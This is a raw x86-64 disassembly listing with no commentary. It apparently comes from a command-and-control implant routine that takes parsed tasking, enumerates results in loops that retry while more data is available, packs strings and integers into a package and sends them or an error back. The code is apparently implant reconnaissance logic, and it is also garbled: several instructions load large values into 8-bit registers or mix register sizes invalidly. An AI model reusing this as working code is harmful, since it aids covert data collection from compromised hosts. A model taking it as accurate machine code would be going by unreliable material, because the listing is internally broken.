14000c7dfcall PackageAddWString
14000c7e4xor r10l, r10l
14000c7e7mov rdi, [rip+0x1fb82]
14000c7eemov [rsp+116], r10l
14000c7f3
14000c7f3loc_14000c7f3:
14000c7f3lea rax, [rsp+108]
14000c7f8mov [rsp+48], r14
14000c7fdor r9l, -1
14000c801xor edx, edx
14000c803mov [rsp+40], rax
14000c808lea rax, [rsp+104]
14000c80dmov r8, r13
14000c810mov rcx, r12
14000c813mov [rsp+32], rax
14000c818call [rdi+1788]
14000c81emov ebp, eax
14000c820test eax, eax
14000c822je 0x14000c82b
14000c824cmp eax, 234
14000c829jne 0x14000c852
14000c82b
14000c82bloc_14000c82b:
14000c82bxor r15l, r15l
14000c82e
14000c82eloc_14000c82e:
14000c82emov rcx, [rsp+120]
14000c833cmp r15l, [rsp+104]
14000c838jae 0x14000c886
14000c83atest rcx, rcx
14000c83dje 0x14000c898
14000c83fmov rdx, [rcx+8*r15]
14000c843mov rcx, [rsp+88]
14000c848inc r15
14000c84bcall PackageAddWString
14000c850jmp 0x14000c82e
14000c852
14000c852loc_14000c852:
14000c852mov r12, [rdi+2230]
14000c859mov ecx, eax
14000c85bcall [rdi+348]
14000c861mov r8l, 2127
14000c867mov rdx, rsi
14000c86alea rcx, [rip+0x19e39]
14000c871mov [r12+104], eax
14000c876mov rax, [rdi+2230]
14000c87dmov r9l, [rax+104]
14000c881jmp 0x14000c9de
14000c886
14000c886loc_14000c886:
14000c886test rcx, rcx
14000c889je 0x14000c898
14000c88bcall [rdi+1836]
14000c891xor ecx, ecx
14000c893mov [rsp+120], rcx
14000c898
14000c898loc_14000c898:
14000c898cmp ebp, 234
14000c89eje 0x14000c7f3
14000c8a4jmp 0x14000ce27
14000c8a9mov rcx, rdi
14000c8aclea r14, [rsp+112]
14000c8b1lea r15, [rsp+108]
14000c8b6mov rdx, rsi
14000c8b9lea r9, [rip+0x19e19]
14000c8c0mov r8l, 2155
14000c8c6call printf
14000c8cbxor eax, eax
14000c8cdlea rdx, [rsp+116]
14000c8d2mov rcx, rbp
14000c8d5mov [rsp+120], rax
14000c8daxor eax, eax
14000c8dcmov [rsp+104], eax
14000c8e0mov [rsp+108], eax
14000c8e4mov [rsp+112], eax
14000c8e8mov [rsp+116], eax
14000c8eccall ParserGetWString
14000c8f1mov rcx, [rsp+88]
14000c8f6mov rdx, rax
14000c8f9mov r12, rax
14000c8fccall PackageAddWString
14000c901xor edx, edx
14000c903mov rdi, [rip+0x1fa66]
14000c90amov [rsp+116], edx
14000c90e
14000c90eloc_14000c90e:
14000c90elea rax, [rsp+104]
14000c913mov [rsp+64], r14
14000c918xor r8l, r8l
14000c91bxor edx, edx
14000c91dmov [rsp+48], rax
14000c922lea rax, [rsp+120]
14000c927mov r9l, 10
14000c92dmov rcx, r12
14000c930mov [rsp+56], r15
14000c935mov [rsp+40], -1
14000c93dmov [rsp+32], rax
14000c942call [rdi+1796]
14000c948mov ebp, eax
14000c94atest eax, eax
14000c94cje 0x14000c955
14000c94ecmp eax, 234
14000c953jne 0x14000c9c3
14000c955
14000c955loc_14000c955:
14000c955xor ebx, ebx
14000c957
14000c957loc_14000c957:
14000c957mov rcx, [rsp+120]
14000c95ccmp ebx, [rsp+104]
14000c960jae 0x14000ca09
14000c966test rcx, rcx
14000c969je 0x14000ca1b
14000c96fimul r13, rbx, 24
14000c973inc rbx
14000c976mov rdx, [rcx+r13+8]
14000c97bmov rcx, [rsp+88]
14000c980call PackageAddWString
14000c985mov rdx, [rsp+120]
14000c98amov rcx, [rsp+88]
14000c98fmov rdx, [rdx+r13+8]
14000c994call PackageAddWString
14000c999mov rdx, [rsp+120]
14000c99emov rcx, [rsp+88]
14000c9a3mov edx, [rdx+r13+16]
14000c9a8call PackageAddInt32
14000c9admov rdx, [rsp+120]
14000c9b2mov rcx, [rsp+88]
14000c9b7mov edx, [rdx+r13+20]
14000c9bccall PackageAddInt32
14000c9c1jmp 0x14000c957
14000c9c3
14000c9c3loc_14000c9c3:
14000c9c3mov rax, [rdi+2230]
14000c9camov r8l, 2189
14000c9d0mov rdx, rsi
14000c9d3lea rcx, [rip+0x19d1a]
14000c9damov r9l, [rax+104]
14000c9de
14000c9deloc_14000c9de:
14000c9decall printf
14000c9e3mov rax, [rdi+2230]
14000c9eamov ecx, 1
14000c9efmov edx, [rax+104]
14000c9f2call PackageTransmitError
14000c9f7mov rcx, [rsp+120]
14000c9fctest rcx, rcx
14000c9ffje 0x14000ca2c
14000ca01call [rdi+1836]
14000ca07jmp 0x14000ca2c
14000ca09
14000ca09loc_14000ca09:
14000ca09test rcx, rcx
14000ca0cje 0x14000ca1b
14000ca0ecall [rdi+1836]
14000ca14xor eax, eax
14000ca16mov [rsp+120], rax
14000ca1b
14000ca1bloc_14000ca1b:
14000ca1bcmp ebp, 234
14000ca21je 0x14000c90e
14000ca27jmp 0x14000ce27
14000ca2c
14000ca2cloc_14000ca2c:
14000ca2cmov rcx, [rsp+88]
14000ca31call PackageDestroy
14000ca36add rsp, 136
14000ca3dpop rbx
14000ca3epop rsi
14000ca3fpop rdi
14000ca40pop rbp
14000ca41pop r12
14000ca43pop r13
14000ca45pop r14
14000ca47pop r15
14000ca49ret
14000ca4alea r9, [rip+0x19cd0]
14000ca51mov r8l, 2217
14000ca57jmp 0x14000cf50
14000ca5clea r9, [rip+0x19cd9]
14000ca63mov r8l, 2224
14000ca69jmp 0x14000cf50
14000ca6elea r9, [rip+0x19ce0]
14000ca75mov r8l, 2230
14000ca7bmov rdx, rsi
14000ca7emov rcx, rdi
14000ca81call printf
14000ca86xor eax, eax
14000ca88lea rdx, [rsp+116]
14000ca8dmov rcx, rbp
14000ca90mov [rsp+120], rax
14000ca95xor eax, eax
14000ca97lea r14, [rip+0x19ccf]
14000ca9emov [rsp+104], eax
14000caa2mov [rsp+108], eax
14000caa6mov [rsp+112], eax
14000caaamov [rsp+116], eax
14000caaecall ParserGetWString
14000cab3mov rcx, [rsp+88]
14000cab8mov rdx, rax
14000cabbmov r12, rax
14000cabecall PackageAddWString
14000cac3mov r13, [rip+0x1f8a6]
14000caca
14000cacaloc_14000caca:
14000cacalea rax, [rsp+112]
14000cacfor r9l, -1
14000cad3lea r8, [rsp+120]
14000cad8mov rcx, r12
14000cadbmov [rsp+48], rax
14000cae0lea rax, [rsp+108]
14000cae5mov edx, 502
14000caeamov [rsp+40], rax
14000caeflea rax, [rsp+104]
14000caf4mov [rsp+32], rax
14000caf9call [r13+1828]
14000cb00mov ebp, eax
14000cb02test eax, eax
14000cb04je 0x14000cb11
14000cb06cmp eax, 234
14000cb0bjne 0x14000cbd1
14000cb11
14000cb11loc_14000cb11:
14000cb11xor r15l, r15l
14000cb14
14000cb14loc_14000cb14:
14000cb14mov rcx, [rsp+120]
14000cb19cmp r15l, [rsp+104]
14000cb1ejae 0x14000cbb1
14000cb24mov edi, r15l
14000cb27mov r8l, 2250
14000cb2dmov rdx, rsi
14000cb30inc r15l
14000cb33imul rdi, rdi, 72
14000cb37add rcx, rdi
14000cb3amov rax, [rcx+16]
14000cb3emov [rsp+48], rax
14000cb43mov eax, [rcx+24]
14000cb46mov [rsp+40], eax
14000cb4amov rax, [rcx+40]
14000cb4emov [rsp+32], rax
14000cb53mov r9, [rcx]
14000cb56mov rcx, r14
14000cb59call printf
14000cb5emov rax, [rsp+120]
14000cb63mov rcx, [rsp+88]
14000cb68mov rdx, [rax+rdi]
14000cb6ccall PackageAddWString
14000cb71mov rax, [rsp+120]
14000cb76mov rcx, [rsp+88]
14000cb7bmov rdx, [rax+rdi+40]
14000cb80call PackageAddWString
14000cb85mov rax, [rsp+120]
14000cb8amov rcx, [rsp+88]
14000cb8fmov rdx, [rax+rdi+16]
14000cb94call PackageAddWString
14000cb99mov rax, [rsp+120]
14000cb9emov rcx, [rsp+88]
14000cba3mov edx, [rax+rdi+24]
14000cba7call PackageAddInt32
14000cbacjmp 0x14000cb14
14000cbb1
14000cbb1loc_14000cbb1:
14000cbb1call [r13+1836]
14000cbb8xor r15l, r15l
14000cbbbmov [rsp+120], r15
14000cbc0cmp ebp, 234
14000cbc6je 0x14000caca
14000cbccjmp 0x14000cf5b
14000cbd1
14000cbd1loc_14000cbd1:
14000cbd1mov r9l, eax
14000cbd4mov r8l, 2262
14000cbdamov rdx, rsi
14000cbddlea rcx, [rip+0x19bb1]
14000cbe4call printf
14000cbe9jmp 0x14000cf5b
14000cbeelea r9, [rip+0x19bbc]
14000cbf5mov rdx, rsi
14000cbf8mov rcx, rdi
14000cbfbxor ebx, ebx
14000cbfdmov r8l, 2271
14000cc03xor r13l, r13l
14000cc06call printf
14000cc0bxor r11l, r11l
14000cc0emov rcx, rbp
14000cc11lea rdx, [rsp+116]
14000cc16mov [rsp+120], r11
14000cc1bmov [rsp+108], ebx
14000cc1fmov [rsp+112], ebx
14000cc23mov [rsp+116], ebx
14000cc27call ParserGetWString
14000cc2cmov rcx, [rsp+88]
14000cc31mov rbp, rax
14000cc34mov rdx, rax
14000cc37call PackageAddWString
14000cc3cmov r9, rbp
14000cc3fmov rdx, rsi
14000cc42mov r8l, 2283
14000cc48lea rcx, [rip+0x19b7f]
14000cc4fcall printf
14000cc54lea rax, [rsp+112]
14000cc59or r9l, -1
14000cc5dmov r12, [rip+0x1f70c]
14000cc64mov [rsp+40], rax
14000cc69lea rax, [rsp+108]
14000cc6elea r8, [rsp+120]
14000cc73mov rcx, rbp
14000cc76mov [rsp+48], r13
14000cc7bmov edx, 1
14000cc80mov [rsp+32], rax
14000cc85call [r12+1804]
14000cc8dtest eax, eax
14000cc8fje 0x14000cc9c
14000cc91cmp eax, 234
14000cc96jne 0x14000cf5b
14000cc9c
14000cc9cloc_14000cc9c:
14000cc9cmov rdx, rsi
14000cc9flea r9, [rip+0x19b4b]
14000cca6mov rcx, rdi
14000cca9xor esi, esi
14000ccabmov r8l, 2288
14000ccb1call printf
14000ccb6cmp [rsp+120], 0
14000ccbcje 0x14000cf5b
14000ccc2
14000ccc2loc_14000ccc2:
14000ccc2mov rcx, [rsp+120]
14000ccc7cmp esi, [rsp+108]
14000cccbjae 0x14000ccf9
14000cccdmov edi, esi
14000cccfinc esi
14000ccd1shl rdi, 4
14000ccd5mov rdx, [rcx+rdi]
14000ccd9mov rcx, [rsp+88]
14000ccdecall PackageAddWString
14000cce3mov rax, [rsp+120]
14000cce8mov rcx, [rsp+88]
14000ccedmov rdx, [rax+rdi+8]
14000ccf2call PackageAddWString
14000ccf7jmp 0x14000ccc2
14000ccf9
14000ccf9loc_14000ccf9:
14000ccf9call [r12+1836]
14000cd01jmp 0x14000cf5b
14000cd06mov rcx, rdi
14000cd09lea r9, [rip+0x19afe]
14000cd10mov r8l, 2307
14000cd16mov rdx, rsi
14000cd19call printf
14000cd1exor r9l, r9l
14000cd21xor r8l, r8l
14000cd24mov rcx, rbp
14000cd27lea rdx, [rsp+116]
14000cd2cmov [rsp+120], r8
14000cd31mov [rsp+108], r9l
14000cd36mov [rsp+112], r9l
14000cd3bmov [rsp+116], r9l
14000cd40call ParserGetWString
14000cd45mov rcx, [rsp+88]
14000cd4amov rdx, rax
14000cd4dmov rbp, rax
14000cd50call PackageAddWString
14000cd55lea rax, [rsp+112]
14000cd5axor r10l, r10l
14000cd5dmov rcx, rbp
14000cd60mov rdi, [rip+0x1f609]
14000cd67mov [rsp+40], rax
14000cd6clea rax, [rsp+108]
14000cd71or r9l, -1
14000cd75mov [rsp+48], r10
14000cd7alea r8, [rsp+120]
14000cd7fmov edx, 1
14000cd84mov [rsp+32], rax
14000cd89call [rdi+1812]
14000cd8ftest eax, eax
14000cd91je 0x14000cd9a
14000cd93cmp eax, 234
14000cd98jne 0x14000cdef
14000cd9a
14000cd9aloc_14000cd9a:
14000cd9axor esi, esi
14000cd9ccmp [rsp+120], 0
14000cda2jne 0x14000cdb8
14000cda4
14000cda4loc_14000cda4:
14000cda4mov rcx, [rsp+120]
14000cda9call [rdi+1836]
14000cdafxor ecx, ecx
14000cdb1mov [rsp+120], rcx
14000cdb6jmp 0x14000ce27
14000cdb8
14000cdb8loc_14000cdb8:
14000cdb8mov rax, [rsp+120]
14000cdbdcmp esi, [rsp+108]
14000cdc1jae 0x14000cda4
14000cdc3mov ebp, esi
14000cdc5mov rcx, [rsp+88]
14000cdcainc esi
14000cdccshl rbp, 4
14000cdd0mov rdx, [rax+rbp]
14000cdd4call PackageAddWString
14000cdd9mov rax, [rsp+120]
14000cddemov rcx, [rsp+88]
14000cde3mov rdx, [rax+rbp+8]
14000cde8call PackageAddWString
14000cdedjmp 0x14000cdb8
14000cdef
14000cdefloc_14000cdef:
14000cdefmov rdx, [rdi+2230]
14000cdf6lea rcx, [rip+0x19a29]
14000cdfdmov r8l, 2336
14000ce03mov r9l, [rdx+104]
14000ce07mov [rsp+32], eax
14000ce0bmov rdx, rsi
14000ce0ecall printf
14000ce13mov rax, [rdi+2230]
14000ce1amov ecx, 1
14000ce1fmov edx, [rax+104]
14000ce22call PackageTransmitError
14000ce27
14000ce27loc_14000ce27:
14000ce27mov rcx, [rsp+120]
14000ce2cjmp 0x14000cefc
14000ce31lea r9, [rip+0x19a1e]
14000ce38mov r8l, 2351
14000ce3emov rcx, rdi
14000ce41mov rdx, rsi
14000ce44call printf
14000ce49xor edx, edx
14000ce4bxor eax, eax
14000ce4dmov rcx, rbp
14000ce50mov [rsp+104], edx
14000ce54mov [rsp+108], edx
14000ce58mov [rsp+112], edx
14000ce5cmov [rsp+116], edx
14000ce60lea rdx, [rsp+116]
14000ce65mov [rsp+120], rax
14000ce6acall ParserGetWString
14000ce6fmov rcx, [rsp+88]
14000ce74mov rdx, rax
14000ce77mov rbp, rax
14000ce7acall PackageAddWString
14000ce7flea rax, [rsp+112]
14000ce84xor r8l, r8l
14000ce87xor edx, edx
14000ce89mov [rsp+56], rax
14000ce8emov rdi, [rip+0x1f4db]
14000ce95lea rax, [rsp+108]
14000ce9amov rcx, rbp
14000ce9dmov [rsp+48], rax
14000cea2lea rax, [rsp+104]
14000cea7lea r9, [rsp+120]
14000ceacmov [rsp+40], rax
14000ceb1mov [rsp+32], -1
14000ceb9call [rdi+1820]
14000cebftest eax, eax
14000cec1je 0x14000ceca
14000cec3cmp eax, 234
14000cec8jne 0x14000cf09
14000ceca
14000cecaloc_14000ceca:
14000cecaxor esi, esi
14000cecc
14000ceccloc_14000cecc:
14000ceccmov rcx, [rsp+120]
14000ced1cmp esi, [rsp+104]
14000ced5jae 0x14000cefc
14000ced7mov eax, esi
14000ced9mov rdx, [rcx+8*rax]
14000ceddtest rdx, rdx
14000cee0je 0x14000cef8
14000cee2mov rcx, [rsp+88]
14000cee7call PackageAddWString
14000ceecmov rcx, [rsp+88]
14000cef1xor edx, edx
14000cef3call PackageAddInt32
14000cef8
14000cef8loc_14000cef8:
14000cef8inc esi
14000cefajmp 0x14000cecc
14000cefc
14000cefcloc_14000cefc:
14000cefctest rcx, rcx
14000ceffje 0x14000cf5b
14000cf01call [rdi+1836]
14000cf07jmp 0x14000cf5b
14000cf09
14000cf09loc_14000cf09:
14000cf09mov rdx, [rdi+2230]
14000cf10mov r8l, 2384
14000cf16lea rcx, [rip+0x19909]
14000cf1dmov r9l, [rdx+104]
14000cf21mov [rsp+32], eax
14000cf25mov rdx, rsi
14000cf28call printf
14000cf2dmov rax, [rdi+2230]
14000cf34mov ecx, 1
14000cf39mov edx, [rax+104]
14000cf3ccall PackageTransmitError
14000cf41jmp 0x14000cf5b
14000cf43
14000cf43loc_14000cf43:
14000cf43lea r9, [rip+0x19923]
14000cf4amov r8l, 2393
14000cf50
14000cf50loc_14000cf50:
14000cf50mov rdx, rsi
14000cf53mov rcx, rdi
14000cf56call printf
14000cf5b
14000cf5bloc_14000cf5b:
14000cf5bmov rcx, [rsp+88]
14000cf60add rsp, 136
14000cf67pop rbx
14000cf68pop rsi
14000cf69pop rdi
14000cf6apop rbp
14000cf6bpop r12
14000cf6dpop r13
14000cf6fpop r14
14000cf71pop r15
14000cf73jmp 0x140018b90
14000c640